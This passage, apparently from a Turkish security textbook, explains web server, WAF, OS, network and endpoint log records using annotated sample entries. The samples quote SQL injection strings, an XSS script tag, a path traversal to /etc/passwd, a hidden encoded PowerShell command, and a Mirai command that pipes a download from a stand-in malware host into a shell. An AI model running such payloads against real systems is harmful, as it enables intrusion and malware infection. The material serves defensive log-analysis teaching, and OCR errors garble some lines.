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27/DVWA/login.php” “Mozilla/5.@ (Linux; Android 18; K) AppleWebKit/537.36 (K-
.1.27/DViA/login.php” "Mozilla/5.@ (Linux; Android 18; K) AppleebKit/537.36 (

1" 2088 4971 "http://192.168.1.27/DVWA/index.php” "Mozilla/5.@ (Linux; Android 1@; K) AppleWebKit/537.:
"GET /DVWA/dvwa/images/lock.png HTTP/1.1" 280 761 "http://192.168.1.27/DVHA/security.php” "Mozilla/5.8 (Linux; Android 18; K) Appleie
“POST /DVWA/security.php HTTP/1.1" 382 - "http://192.168.1.27/DVWA/security.php” "Mozilla/5.@ (Linux; Android 1@; K) AppleWebKit/537.
"GET /DVWA/security.php HTTP/1.1" 280 5848 "http://192.168.1.27/DVWA/security.php” "Mozilla/5.@ (Linux; Android 18; K) AppleulebKit/s:
"GET /DVWA/vulnerabilities/sqli/ HTTP/1.1" 208 4559 “http://192.168.1.27/DVMA/security.php” "Mozilla/5.8 (Linux; Android 18; K) Apple

Gorsel 3.25: Apache erisim log kayitlari
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192.168.1.165 - - [27/May/2025:15:03:43 +0000] “POST /login.php HTTP/1.1” 302 501
“http://192.168.1.27/login.php” “Mozilla/5.0 ...”

istemci IP Adresi

0 192.168.1.165 -> Sisteme erisen istemcinin IP adresidir.

+ Tarih ve Saat
o [27/May/2025:15:03:43 +0000] - 27 Mayis 2025 giini UTC zaman diliminde saat 15:03:43’te
erisim saglanmistir.
- HTTP Yontemi ve istek
o “POST /login.php HTTP/1.1”
0 Bu; kullanicr ady, sifre gibi bilgilerin form ile gonderildigi POST istegidir.

o /login.php dosyasi lizerinden oturum agma islemi yapilmistir.
+ HTTP Durum Kodu

0 302 - Bu kod, basarili bir oturum agmanin ardindan yonlendirme (redirect) oldugunu gosterir.

0 Genellikle basarili oturum agma sonrasi kullanici, ana sayfaya veya baska bir panele yonlendirilir.
« Yanit Boyutu

0 501 - Sunucunun gonderdigi yanitin bayt cinsinden boyutudur.

0 Bu boyut, basit bir yonlendirme sayfasinin ¢iktisi olabilir.
- Referer (Yonlendiren Sayfa)
o “http://192.168.1.27/login.php”
0 Oturum agma formunun bulundugu sayfadir. Kullanici bu sayfa izerinden POST istegini yapil-
mistr.
« User-Agent (Tarayici) Bilgisi
o “Mozilla/5.0 ...” = Belirli bir tarayici (6rnegin Chrome, Firefox) kullanilarak giris yapilmistir.

o Tam bilgi verilmemis ama standart bir masadstl veya mobil tarayici oldugu séylenebilir.

192.168.1.165 - - [27/May/2025:15:04:32 +0000] “GET /vulnerabilities/sqli/?id=1%27%200r%20
1=1--&Submit=Submit HTTP/1.1” 200 5756 “http://192.168.1.27/dvwa/vulnerabilities/sqli/”
“Mozilla/5.0...”

. istemci IP Adresi
0 192.168.1.165 - Istegi yapan istemcinin yerel IP adresidir.
« Zaman Bilgisi

o [27/May/2025:15:04:32 +0000] - 27 Mayis 2025, saat 15:04:32’de UTC zaman diliminde istem
yapilmistir.
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« HTTP istegi
0 “GET /vulnerabilities/sqli/?id=1%27%200r%201=1--&Submit=Submit HTTP/1.1”

o Bu, SQLi zafiyeti test edilen URL'ye yapilan bir GET istegidir.

0 %27 - ‘ (tek tirnak), URL kodlamasiyla gonderilmistir.

0 %20 -> Bosluk karakteridir.

o0 Tam Co6zulmus Hali:/vulnerabilities/sqli/?id=1" or 1=1--&Submit=Submit
o id=1’" or 1=1-- ifadesi, klasik bir SQL Injection saldiri denemesidir.

« Saldin Teknigi Agiklamasi

0 or 1=1 - Her zaman dogru donen bir ifadedir. Bu sayede tiim verilerin listelenmesi hedeflenir.

0 -- - SQL yorum satiri isaretidir. Sorgunun geri kalanini devre disi birakir.
« HTTP Durum Kodu
0 200 -> Sunucu, istegi basariyla isledigini gosterir.

o Bu, SQLi denemesinin muhtemelen basarili oldugunu gosterir.
- Yanit Boyutu
0 5756 baytlik veri donmustar.

o0 Bu, hedefteki veri tabanindan alinan buyiik bir veri ¢iktisi olabilecegine isaret eder.
- Referer (Yonlendiren Sayfa)
o “http://192.168.1.27/dvwa/vulnerabilities/sqli/”
o Kullanici, DVWA (Damn Vulnerable Web Application) lizerindeki SQLi test sayfasindan bu istegi
yapmistir.
- User-Agent Bilgisi
o “Mozilla/5.0...” - Tam olarak verilmemis ancak yaygin bir web tarayicisindan (6rnegin Chrome
veya Firefox) gelen istek oldugu anlagiimaktadir.

Hata Loglari (Error Logs)

Hata loglarn; bir web sunucusu (6rnegin Apache), PHP, veri tabani gibi bilesenlerde meydana gelen
hatalarin, uyarilarin, eksik yapilandirmalarin ve erisim ihlallerinin kayit altina alindigi log dosyalaridir
(Gorsel 3.26).

(192.0.2.45 [15/May/2025:10:15:33 +0300] “GET  /admin/login.php HTTPAI" 401 502 |
192.0.1.36  [15/May/2025:11:12:24 +0300] “POST /xmlprc.php HTTP/1.1" 403 235
1921227 [16/May/2025:16:11:00 +0300] “GET  /wpconfigphp  HTTPALY 404 196
192.0.3.27 [16/May/2025:17:15:23 +0300] “GET fadmin/ HTTP/11" 403 221
192.1.2.45 [16/May/2025:17:20:01 +0300] “GET  /?id="id OR ‘I'="] HTTP/11” 500 1024
192.0112  [16/May/2025:17:25:40 +0300] “GET  /images/logo.png HTTP/11” 200 5321

v
istemci IP Zaman istek istek yapilan HTTP Durum Geri dénen
adresi damgasi yontemi yol (URL) sirimu  kodu bayt boyutu

Gorsel 3.26: Web hata loglari
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Apache web sunucusu calismasi sirasinda olusan hata, uyari ve sistem mesajlarini error.log dosyasina
kaydeder. XAMPP kullanilarak yerel bir test ortaminda elde edilen bazi 6nemli hata loglari ve agiklamalari
soyledir (Log bilgileri C:\xampp\apache\logs\error.log dosyasindan alinmaktadir.):

[Tue May 27 15:39:35.276184 2025] [ssl:warn] ... AH01909: www.example.com:443:0 server
certificate does NOT include an ID which matches the server name

Sunucuda kullanilan SSL sertifikasi ile tarayiciya bildirilen alan adi (hostname) uyusmamaktadir. Baska
bir ifadeyle sertifika 6rnegin www.example.com igin alinmis ancak sunucuya belki localhost veya baska
bir adla erisilmektedir. Sonu¢ olarak SSL/TLS baglantilarinin glivenilirligini etkileyen bir faktordir ve
yapilandirmanin dogru olmadigini gosteren bir hata logudur.

[Tue May 27 15:39:35.387178 2025] [mpm_winnt:notice] [pid 8764:tid 448] AH00455: Apache/2.4.58
(Win64) OpenSSL/3.1.3 PHP/8.2.12 configured -- resuming normal operations

Apache sunucusu basariyla baslatiimistir ve tim servisler (SSL, PHP) dizgiin calismaktadir. Sistem
yoneticisi veya gelistirici icin yapilandirmanin dogru ylklendigini gdsteren bilgilendirici bir log satiridir.

Bugiin web hizmetlerinin sunulmasinda en ¢ok tercih edilen web sunucu yazilimlari
arasinda Apache HTTP Server, Microsoft Internet Information Services (1IS) ve Nginx
bulunur.

Uygulama Loglan

Web uygulamalari, sadece sunucu (Apache, Nginx, 1IS) seviyesinde degil ayni zamanda uygulamanin
kendisi tarafindan da loglama islemleri gerceklestirir. Bu loglar; uygulamanin isleyisi, kullanici islemleri,
hata mesajlari ve glvenlik olaylari hakkinda detayl bilgi sunar. Web uygulama loglarinin ozellikleri
sunlardir:

« Web uygulamalarinin glinlik (log) dosyalari, kullanici oturum agma ve kapama islemleri, form verisi
gonderimleri, sistemde meydana gelen hata mesajlari gibi olaylarin ayrintili bigimde kaydini tutar.

« Bu kayitlar, yaziim gelistiriciler agisindan hatalarin kaynaklarini belirlemek ve ¢oziim lretmek igin
onemli bir analiz aracidir.

« Basarisiz oturum a¢gma girisimleri, olagan disi istekler, potansiyel veri ihlalleri gibi glivenlik tehditleri-
nin izini siirebilmek icin dGnemli bir kaynakr.

« Yogun kullanici trafigine sahip sistemlerde performans sikintilarinin tespiti ve sistem gelistirilmesi
acisindan da log verileri analiz edilerek karar siireglerine katki saglar.

Web uygulamalarina ait log verileri, sistemin uygulandigi altyapiya bagh olarak farkli platformlar
Uzerinden Uretilir. Bu baglamda WordPress, Node.js, Django, Laravel, ASP.NET gibi yaygin web gelistirme
platformlari, uygulama dizeyindeki olaylarin detayli bicimde kaydedildigi log dosyalarini olusturarak
hem sistem yonetimi hem de giivenlik analizleri icin 6nemli bir bilgi kaynagi sunar.
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WordPress, PHP tabanli bir icerik yénetim sistemi (CMS) olup hata ayiklama ve sistem analizi igin gesitli
log mekanizmalari sunar. Varsayilan olarak loglama 6zelligi kapaldir ancak gelistiriciler veya sistem
yoneticileri tarafindan etkinlestirildiginde sistemdeki bir¢cok olay kayit altina alinabilir.

wp-content/debug.log: WordPress’te uygulama seviyesindeki hatalarin ve uyarilarin kaydedildigi temel
log dosyasidir. Bu dosyanin olusturulmasi icin wp-config.php dosyasina su satirlarin eklenmesi gerekir:

define( ‘WP_DEBUG’, true );
define( ‘WP_DEBUG_LOG’, true );
define( ‘WP_DEBUG_DISPLAY’, false ); // Hatalarin ekranda gésterilmesini engeller.

WordPress Log Ornegi

[27-Jul-2025 14:12:03 UTC] PHP Warning: Undefined variable Susername in /home/site/wp-
content/themes/mytheme/functions.php on line 102

Verilen log kaydindan su bilgiler elde edilir:
Tarih ve Saat: 27-Jul-2025 14:12:03 UTC
Hata Tiirii: PHP Warning baska bir ifadeyle bir uyari logu oldugunu gosterir.
Sorun: Susername adinda tanimsiz bir degisken kullanilmistir.

Dosya Yolu ve Satir Numarasi: functions.php dosyasinin 102. satirinda gerceklesmistir.

WAF (Web Application Firewall) Loglari

Web uygulamalarini hedef alan siber saldirilar son zamanlarda bir hayli yaygindir. Bu saldirilarin
onlenmesinde etkili bir givenlik katmani sunan Web Uygulama Giivenlik Duvari (WAF), sistem
tarafindan algilanan zararli istekleri engellemenin yani sira bu girisimlere dair kapsamli log kayitlari da
Uretir. Bu kayitlar hem glivenlik analizi hem de olay midahalesi agisindan ¢ok 6nemlidir. WAF loglari
sayesinde su konular hakkinda bilgi edinilir:

Saldin Tespitine iliskin Kayitlar: Web Uygulamasi Giivenlik Duvarlari (WAF) tarafindan tretilen loglar;
SQL enjeksiyonu, XSS (Cross-Site Scripting), komut enjeksiyonu ve dizin gecisi (path traversal) saldirilarini
tespit edip kayit altina alir. Bu tir kayitlar, saldirganlarin uygulamaya yonelik kot niyetli faaliyetlerinin
tanimlanmasinda buyik 6neme sahiptir.

Giivenlik Kurallarinin izlenebilirligi: WAF loglarinda, hangi dncelikli giivenlik kuralinin tetiklendigi
detayli sekilde yer alir. Bu durum, sistem yoneticilerinin ve giivenlik uzmanlarinin karsilasilan tehdit
turlerini siniflandirarak onceliklendirmelerine olanak saglar ve sistemin glivenlik durumu hakkinda
kapsamli bir analiz yapilmasina imkan tanir.

Zaman Damgasi ve Baglamsal Bilgiler: Her log kaydi; saldiri girisiminin gerceklestigi kesin zamani,
saldirganin IP adresini, hedeflenen URLYyi ve varsa ilgili kullanici oturum bilgilerini igerir. Bu veriler,
olayin incelenmesi ve saldirilarin kbkenine yonelik analizlerin gerceklestirilmesi icin 6nem arz eder.

WAF/ In ilgili Eylemleri: Loglarda giivenlik duvarinin her tehdit karsisinda aldigi aksiyon (érnegin
istegin engellenmesi, uyari Uretilmesi veya yonlendirme yapilmasi) acik¢a belirtilir. Bu sayede glivenlik
politikalarinin etkinligi ve saldirilara karsi uygulanan 6nleyici tedbirlerin sonuglari izlenebilir.
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Ornek WAF Loglan

Web Uygulama Givenlik Duvari (WAF) loglarinin dosya konumlari, kullanilan yazim ve altyapiya bagli
olarak degisiklik gosterebilmekle birlikte varsayilan konumlar Tablo 3.14’te belirtilmistir.

Tablo 3.14: WAF Turleri ve Log Konumlari

WAF Tiirui Log Dosyasi Varsayilan Konumu

ModSecurity (Apache) /var/log/apache2/modsec_audit.log
ModSecurity (Nginx) /var/log/nginx/modsec_audit.log
Cloudflare WAF Cloudflare paneli Gzerinden erisilir.
AWS WAF AWS CloudWatch tzerinden loglanir.

Gorsel 3.27’deki log kaydi incelendiginde belirtilen zaman damgasinda 192.168.1.50 IP adresinden
gelen istek URLsinde yer alan ‘ OR ‘1’="1 ifadesi, klasik bir SQL enjeksiyonu 6rnegidir. WAF motoru,
bu kalibi taniyarak SQL_INJECTION_RULE_101 numarali kurali devreye sokmus ve istegi engellemistir.

[2025-07-27 15:41:26] WAF-RALERT: SQL Injection attempt detected.
Client IP: 152.168.1.50

Request URL: /products?id=5' OR '1'="1

Blocked Rule: SQL INJECTION RULE 101

Lction Taken: Request Blocked

Gorsel 3.27: Web hata loglar

Gorsel 3.28'deki log kaydi incelendiginde belirtilen zaman damgasinda 10.0.0.23 IP adresindeki
saldirgan kullanicinin, yorum boélimine kot amacl <script> etiketi yerlestirmeye calistigl anlasihr. Bu
durum, XSS saldiri denemesi olarak degerlendirilmis ve WAF tarafindan engellenmistir.

[2025-07-27 15:55:03] WAF-RLERT: Cross-site scripting attempt detected.
Client IP: 10.0.0.23

Request URL: /comment?msg=<scriptralert('xss')</script>

Blocked Rule: XS5 FILTER RULE 204

Lction Taken: Request Blockad

Gorsel 3.28: Web hata loglari

Gorsel 3.29'daki log kaydi incelendiginde belirtilen zaman damgasinda 172.16.0.99 IP adresindeki
saldirganin, sunucunun sistem dosyalarina erismeye calistigi gorilur. /etc/passwd dosyasina erisim
girisimi, PATH_TRAVERSAL_RULE_302 kuralini tetiklemis ve istek engellenmistir.

[2025-07-27 16:03:10] WAF-ALERT: Path traversal attempt detected.
Client IP: 172.16.0.99

Request URL: /download?file=../../etc/passwd

Blocked Rule: PRTH TRAVERSAL RULE 302

LAction Taken: Regquest Blocked

Gorsel 3.29: Web hata loglar

0S Loglari (Sunucu isletim Sistemi Loglari)

Web sunucularinin ¢calistigl fiziksel veya sanal makinelerde isletim sistemi tarafindan iretilen loglar;
sistem yoneticileri, glivenlik uzmanlari ve denetgiler icin nemli bilgiler icerir. Bu loglar hem olagan disi
olaylarin tespiti hem de sorun giderme siirecinin dogru bir sekilde yurutilebilmesi agisindan degerli
bilgiler igerir.
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Sistem Olay Kayitlari (System Events)

« Donanim hatalari, slrlict sorunlari, sistem yeniden baslatmalari, servislerin baslatiimasi-durdu-
rulmasi gibi ¢cekirdek sistem olaylarini igerir.

« Kernel panic, bellek sizintilari, disk erisim hatalari gibi kritik sistem hatalari 6rnek verilebilir.
- Linux: /var/log/syslog, /var/log/messages

» Windows: Event Viewer > System Log

Giivenlik Olaylari (Security Events)

« Yetkisiz erisim girisimleri, kullanici kimlik dogrulama hatalari, basarisiz oturum acma denemeleri,
sistem dosyalarina izinsiz miidahale gibi olaylari igerir.

« Linux: /var/log/auth.log, /var/log/secure

» Windows: Event Viewer > Security Log

Kullanici ve Oturum Kayitlari

« Hangi kullanici ne zaman oturum agti, ne kadar siire sistemde kald gibi verileri igerir.

« Ozellikle sunucuya SSH, RDP gibi ydntemlerle erisimlerde iz birakir.

- Linux: /var/log/wtmp, /var/log/lastlog, last, who, utmp komutlariyla okunabilir.

« Windows: Event Viewer > Security > Event ID 4624 (basarili oturum agma), 4625 (basarisiz giris)
Servis ve Daemon Loglari

« Sistemde calisan Apache, Nginx, MySQL, SSH, vsftpd gibi servislerin kendi loglari, isletim sistemi
tarafindan merkezi log dizinlerine yazihr.

« Linux: /var/log/apache2/error.log, /var/log/mysql/error.log, /var/log/ssh.log

- Windows: Genellikle C:\Program Files\ServiceName\logs altinda veya Event Viewer’da “Applica-
tions and Services Logs” bolimiinde bulunur.

Gunliik Zamanlama Kayitlari (Cron/Task Scheduler Loglari)

 Belirlizamanlarda galisan betikler veya gorevlerin basarili yahut basarisiz olma durumlariniigerir.
« Linux: /var/log/cron, /var/log/syslog (cron girdileriyle birlikte)

« Windows: Task Scheduler > Operational logs

Paket ve Ag Etkilesimi Loglari

« Sistem seviyesinde yapilan baglantilar, acilan portlar, gelen-giden trafik hareketleri, firewall et-
kinlikleri bu loglarda tutulur.

« Linux: iptables, ufw, firewalld, /var/log/kern.log

« Windows: Event Viewer > Windows Firewall with Advanced Security, Event ID 5156 (izin verilen
baglant1), 5157 (engellenen baglanti)
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7. Audit Loglar (Denetim Kayitlan)

« Kritik sistem cagrilari, dosya erisimleri, kullanici eylemleri gibi islemler yiiksek detayda izlenebilir.
« Linux: auditd servisi tarafindan /var/log/audit/audit.log dosyasinda tutulur.

« Windows: Local Security Policy > Audit Policy ile etkinlestirilir.

3.1.6.5. Ag (Network) Loglari

Ag ortamlarinda gilivenligi saglamak, performansi izlemek ve olaylari yonetmek icin log kayitlari biyik
onem tasir. Bu kayitlar; giivenlik duvarlari, switchler, routerlar, VPN sistemleri, proxy sunuculari, IDS/
IPS ¢6zimleri, erisim noktalari, NAC (Ag Erisim Kontroli) gibi pek cok farkli ag cihazindan elde edilebilir
(Gorsel 3.30).

Gorsel 3.30: Ag kaynaklarindan log aktarimi

Firewall (Giivenlik Duvari) Loglari: Glivenlik duvarlari, ag trafigini diizenlemek ve denetlemek amaciyla
gelen ve giden veri paketlerini kaydeder. Bu loglar; baglantilarin izinli mi engellenmis mi oldugunu,
hangi kuralla eslestigini ve filtreleme sonucunu ayrintili olarak goésterir. Ayrica paket tirleri (TCP, UDP,
ICMP gibi) ve bazi durumlarda saldiri tespiti olaylari (6rnegin yeni nesil glivenlik duvarlarinda) da
bu kayitlarda yer alir. Bu sayede agin yetkisiz erisimlere karsi ne derece korundugu analiz edilebilir,
kurallarin islevselligi degerlendirilebilir ve port tarama, brute force gibi saldiri girisimleri tespit edilebilir
(Gorsel 3.31).

2025-05-10 13:24:58 DENY TCP 192.168.1.50:45678 -> 10.0.0.1:80 rule id=105 reason="Kural Gere§i Engellendi"

Gorsel 3.31: Firewall log 6rnegi

Anahtarlama (Switch) Loglari: Switchler, agin omurgasini olusturan cihazlardir ve Uzerinde gerceklesen
fiziksel baglantilarla ilgili bircok bilgiyi loglar araciliglyla kaydeder. Bu loglarda genellikle portlarin agik
mi kapali mi oldugu (up/down durumu), baglantilarin sirekli kopup tekrar gelmesi gibi durumlar (link
flapping), Spanning Tree Protocol (STP) ile ilgili degisiklikler, 6grenilen MAC adreslerinin siiresi gibi
bilgiler yer alir. Bu kayitlar sayesinde ag yoneticileri; fiziksel baglantilarda yasanan problemleri kolayca
fark edebilir, olasi ag dongiilerini tespit edebilir ve anahtarlama performansini etkileyen sorunlari
zamaninda ¢ozebilir. Ayrica bu loglar, ag trafiginin daha saglikli yonetilmesi acisindan da énemli bilgiler
sunar. Ag similasyon yaziiminda Show Logging komutu kullanarak veya preferences kismindan export
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log denilerek loglar goriintllenebilir (Gorsel 3.32).

Syslog logging: enabled (0 messages dropped, 0 flushes, 0 overruns)
Console logging: level debugging, 15 messages logged
Monitor logging: level debugging, 0 messages logged
Buffer logging: level debugging, 15 messages logged
Logging Exception size (4096 bytes)
Count and timestamp logging messages: dizabled

Log Buffer (4096 bytes):

*Jun 10 10:15:23.543: %LINK-S5-CHANGED: Interface FastEthernet0/0, changed state to up
*Jun 10 10:15:24.671: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up

Gorsel 3.32: Switch log kayitlari

Yonlendirici (Router) Loglari: Router, aglar arasinda veri trafigini yonlendiren cihazdir ve bu gorevi yerine
getirirken pek ¢cok dnemli olayi log kayitlarinda tutar. Bu loglar genellikle yonlendirme protokollerine
(OSPF, EIGRP, BGP gibi) ait mesajlari, komsu routerlarda meydana gelen durum degisikliklerini, baglant
kopmalarini, zaman zaman ICMP veya traceroute gibi ag teshis aracglarindan gelen yanitlari icerir
(Gorsel 3.33). Ayrica yonlendirme sirasinda olusabilecek cesitli hatalar (6rnegin arayiz hatalari, TTL
sUresi dolmus paketler) da bu kayitlar Gizerinden takip edilebilir. Router loglari sayesinde ag yoneticileri,
yonlendirme protokollerinin sorunsuz ¢alisip calismadigini gorebilir ve ortaya cikabilecek ag yonlendirme
hatalarini hizlica tespit edebilir.

*qon 10 11:30:45.123: %08PF-5-ADICHG: Process 1, Nbr 192.168.1.2 on FastBthernetd/0 from LOADING to FULL, Loading Done
*qun 10 11:30:48.450; %08PF-5-ADICHG: Process 1, Nbr 192.168.1.2 on FastBthernet0/0 from FULL to DOWN, Neighbor Down: Interface down

Gorsel 3.33: Komsuluk kurulma bilgileriyle ilgili log kaydi

VPN Loglari: VPN loglari, kullanicilarin kimlik dogrulama girisimleri, baglanti kurulma ve kopma
zamanlari, IP atamalari ile hatali giris denemeleri gibi verileri kayit altina alir (Gérsel 3.34). Bu kayitlar,
uzak kullanicilarin VPN lizerinden sisteme erisimlerini glivenlik agisindan izlemek ve denetlemek icin
blylk 6nem tasir. Boylece yetkisiz erisimlerin tespiti kolaylasir, olasi glivenlik agiklari erken fark edilir
ve agin bitUnlugl korunur. VPN loglari sayesinde hem kullanici aktiviteleri takip edilir hem de giivenlik
politikalarinin etkinligi degerlendirilir.

*Jun 10 12:00:15.123: %CRYPTO-6-ISAKMP ON OFF: TSBKMP (ON) started on interface FastEthernetl/0
*Jun 10 12:00:18.456: 2CRYPTO-6-IKMP_SA UP: IKE SA established between 192.168.1.1 and 203.0.113.2
*Jun 10 12:00:19.78%: 3CRYPTO-6-IPSEC TUNNEL UP: IPSec tunnel established between 192.168.1.1 and 203.0.113.2

Gorsel 3.34: Basarili VPN baglantisi logu

Proxy Sunucu Loglari: Proxy sunucu loglari, kullanicilarin internet Gzerinde gergeklestirdigi aktiviteleri
detayl sekilde kaydeder. Bu kayitlar arasinda ziyaret edilen web sitelerinin URL leri, islem zamani ve
kullanicilarin IP adresleri yer alir. Ayrica HTTP istek basliklari ve sunucudan dénen yanit kodlari (6rnegin
200 OK, 404 Not Found, 403 Forbidden gibi) da loglarda tutulur. Cache kullanimina dair bilgiler de
bu veriler arasinda bulunur. Loglarin temel amaci, kullanicilarin internet kullanimini takip etmek ve
gerektiginde zararh veya uygunsuz iceriklere erisimin 6nine gecmektir. Boylece kurumlar veya servis
saglayicilar, glivenligi saglamak ve internet kaynaklarinin dogru kullanilmasini temin etmek icin bu
loglardan faydalanir.
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Ornek Log Kaydi

192.168.1.20 - - [10/Jun/2024:15:15:01 +0300] “GET https://orneksite.com HTTP/1.1” 403 512 “-”
“curl/7.68.0” TCP_DENIED

Kullanici (192.168.1.20), bir Linux/Unix sisteminden curl komutuyla orneksite.com’a erismeye calisti.
Proxy sunucusu, erisimi aninda engelledi (403 Forbidden).

IDS/IPS Loglari: IDS/IPS loglari, aga yonelik gergeklesen saldirilari detayli sekilde kaydederek glvenlik
ekiplerine bilgiler sunar. Bu loglarda tespit edilen saldiri tiirleri (6rnegin SQL Injection veya port taramasi),
saldirganin IP adresi, hedeflenen IP ve port bilgileri yer alir. Ayrica kullanilan saldiri imzasi ve bu tehdidin
ciddiyet seviyesi (dlsuk, orta, yluksek) gibi veriler de kaydedilir (Gorsel 3.35). Bu sayede ag tizerindeki
tehditler mimkiin olan en erken asamada fark edilip miidahale edilebilirken ayni zamanda saldirilarin
analiz edilmesi ve gelecekteki tehditlere karsi 6nlem alinmasi icin dnemli bir kaynak olusturulur.

{
"timestamp™: "2024-06-10T14:22:45.123456+0300",
"flow id": 1232456789,
"event type": "alert",
"src_ip": "192.168.1.100",
"src port": 54321,
"dest ip": "10.0.0.30",
"dest port": 80,
Tlprotoﬂ : TITCP\'I!

"alert": |
"action": "blocked",
"gid": 1,
"signature id": 2019404,
AL erTI - '%

"signature™: "ET WEB_SPECIFIC APPS SQL Injection SELECT FROM in HTTF Request”,
"category": "Web RApplication Attack",
"severity": 1,
"metadata™: {
"created at": ["2020 01 01"],
"updated at": ["2023 05 15"]
}

}!
"http": {
"hostname": "vulnerable-site.com",
"url™: "/login.php",
"http user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"http method": "POST",
"http content type": "application/x-www-form-urlencoded”
be

"payload": "username=admin' OR 'l'='lsipassword=123456",
"payload printabkle": "username=admin' OR 'l'='l&password=xx*x*",
"stream": 0

Gorsel 3.35: Suricata IDS SQL injection log kaydi

3.1.6.6. Endpoint Loglari

Endpoint loglari; bir bilgisayar, sunucu, mobil cihaz gibi u¢ noktalarda bulunan cihazlara ait 6nemli
olaylarin ve glivenlik faaliyetlerinin kayitlaridir. Bu loglar sayesinde cihazda kim, ne zaman, ne yapti;
hangi uygulama, nasil ¢calisti veya hangi ag baglantilari gerceklesti gibi sorulara yanit bulunur. Siber
givenlik agisindan bakildiginda ise bu kayitlar, hayati 6nem tasir ¢iinkl bir saldiri veya sipheli bir
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durum yasandiginda ilk incelenen kaynaklar genellikle bu loglardir. Olayin ne zaman ve nasil basladigini,
hangi hesaplarin etkilendigini anlamak; saldirinin etkisini hizlica grmek ve dogru adimlarla midahale
etmek icin endpoint loglari kullanilir. Ustelik sadece saldirilari tespit etmek icin degil sistemlerin diizgiin
calisip calismadigini kontrol etmek ve glvenlik politikalarinin ne derece uygulandigini gormek icin de
bu kayitlar strekli incelenir.

Antiviriis Loglari: Sistem (izerinde yapilan virls taramalarinin sonuclarini detayli sekilde kaydeder. Bu
kayitlar arasinda tespit edilen zararli yazilimlar, yapilan temizleme ve karantina islemleri yer alir. Ayni
zamanda antivirisin kot amach yazilim aktivitelerini engelleme, silme gibi miidahaleleri de bu loglarda
gorilur (Gorsel 3.36). Gunlik olarak yapilan virls tanim dosyasi giincellemelerinin durumu, basari veya
basarisizlik kayitlari da antivirls loglarinin 6nemli parcalarindandir. Boylece sistem ydneticileri, cihazin
glvenlik durumu hakkinda net bilgiler edinerek olasi tehditlere karsi daha hizli ve etkili dnlemler alabilir.

[AVAST SECURITY LOG]

Date: 2024-06-12 09:45:33

Event: MALWARE BLOCKED

Threat Name: Linux/Mirai!Botnet

Source IP: 1853.143.EX.XX

Destination Port: 23 (Telnet)

Infected File: /tmp/mirai.x86 (Memory Injection)
action: QUARANTINED

Detection Method: Behavioral Shield + Network Inspector
User: DESKTOP-USER\MTEGM

additional Data:

- C2 Server: 94.130.¥X.¥X¥X:4811

- Payload: "/bin/busybox wget http://malware.com/mirai.sh -0- | sh"
Related Process: sshd (PID: 4412)

Signature DB: VPS v240612-2

Gorsel 3.36: Antiviris log 6rnegi

EDR (Endpoint Detection and Response) Loglari: U¢ noktalarda gergeklesen saldiri ve tehdit
aktivitelerini izleyen, detayh bir sekilde kaydeden givenlik kayitlaridir. Bu sistemler, yalnizca giivenlik
olaylarini kaydetmekle kalmaz ayni zamanda ug¢ noktalari sirekli izleyerek olagan digi davraniglari,
baska bir ifadeyle anormallikleri tespit eder ve gerekirse otomatik olarak miidahalelerde bulunabilir.
Ornegin bir kullanici hesabinin, normal saatlerin disinda sistemde yetkisiz islemler yapmaya calismasi
veya bilinmeyen bir dosyanin bellekte slipheli komutlar ¢alistirmasi gibi durumlar, EDR tarafindan fark
edilir. Ayrica bu loglar; saldirganlarin sistemler arasinda yatay gecis (lateral movement) denemeleri,
exploit kullanma girisimleri, komut ve kontrol (C2) iletisim trafigi gibi daha karmasik siber saldiri izlerini
de ortaya koyar (Gorsel 3.37). Bu sayede hem gercek zamanli savunma saglanir hem de olay sonrasi
analiz icin son derece 6nemli bilgiler elde edilir.

Event Time: 2025-06-10T09:12:432

Device Name: DESKTOP-MTEGM

User: MTEGM-EBC\mesleklisesi

Llert Title: Suspicious PowerShell Command

Severity: High

Category: Execution

Detection Source: Endpoint Detection

Description: A suspicious PowerShell command was executed that may be indicatiwve of attacker behavior.
Command Line: powershell.exe -NoP -NonI -W Hidden -EncodedCommand JABXAGM...
Process ID: 4520

Parent Process: C:\Windows\System32\cmd.exe

Network Activity: Attempted outbound connection to 185.100.87.44:443
Response Action: Process terminated and quarantined
Correlation ID: fla7cdd2-aT7%-4e34-bdac-3£452ccfla77

Gorsel 3.37: EDR log kaydi
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DLP (Data Loss Prevention) Loglari: Kurumsal verilerin yetkisiz yollarla disari sizdirilmasini 6nlemek

amaciyla yapilan denetimlerin ve miidahalelerin loglarini tutar. Bu loglar sayesinde kullanicilarin
hassas verileri e-posta yoluyla gondermeye calismasi, USB aygitlarina kopyalama girisimleri veya bulut
depolama birimlerine veri aktarmalari gibi DLP politikalarina aykiri eylemler tespit edilebilir. Sistem,
kritik veri kategorilerine (6rnegin kisisel veriler, finansal bilgiler veya fikri milkiyet) ait herhangi bir
ihlal girisimini kaydederek, gerekirse bu eylemleri otomatik olarak engelleyebilir veya ilgili glivenlik
ekiplerine anhk uyarilar gonderebilir (Gorsel 3.38). Boylece, olasi veri sizintilari daha gergeklesmeden
fark edilir ve gerekli miidahale adimlari zamaninda atilabilir.

Timestamp: 2025-04-10T14:28:21%2

User: mtegm@ornekmeb . com

Device: LAPTOP-BILISIM1Z3

Lction: Blocked

Rule Name: "PII Data Transfer via Email"
Policy: EU GDPR Compliance

File Name: musteri listesi.xlsx

Matched Content: Turkish National ID Number, IBAN
Bpplication: Outlook.exe

Destination: mtegm-ornekpersonel@gmail . com
Location: Emzail (Exchange Online)
Justification: Not Provided

Severity: High

Gorsel 3.38: DLP log kaydi

Host-Based Firewall Loglari: Host tabanli glivenlik duvari (host-based firewall) loglari, bir cihaz (izerindeki
ag trafiginin kontrol edilmesine yonelik kayitlari tutan denetim noktalarindan biridir. Bu loglarda sisteme
gelen ve giden baglantilarin izinli veya engellenmis olup olmadigina dair ayrintih kayitlar tutulur (Gorsel
3.39). Uygulama bazinda hangi programin hangi porta erismeye c¢alistigi, bu erisimlerin basariya ulasip
ulasmadigi, hangi kural tarafindan reddedildigi gibi bilgiler bu kayitlar sayesinde goriilebilir. Ozellikle
sUpheli portlara yapilan baglanti denemeleri, bilinmeyen uygulamalarin dis aglara erisim talepleri,
yetkisiz kaynaklardan gelen baglantilar gibi olaylar bu loglarla tespit edilir. Bu sayede hem saldirilarin
erken fark edilmesi saglanir hem de cihazin giivenlik politikalarina uygun ¢alisip ¢alismadigi denetlenir.

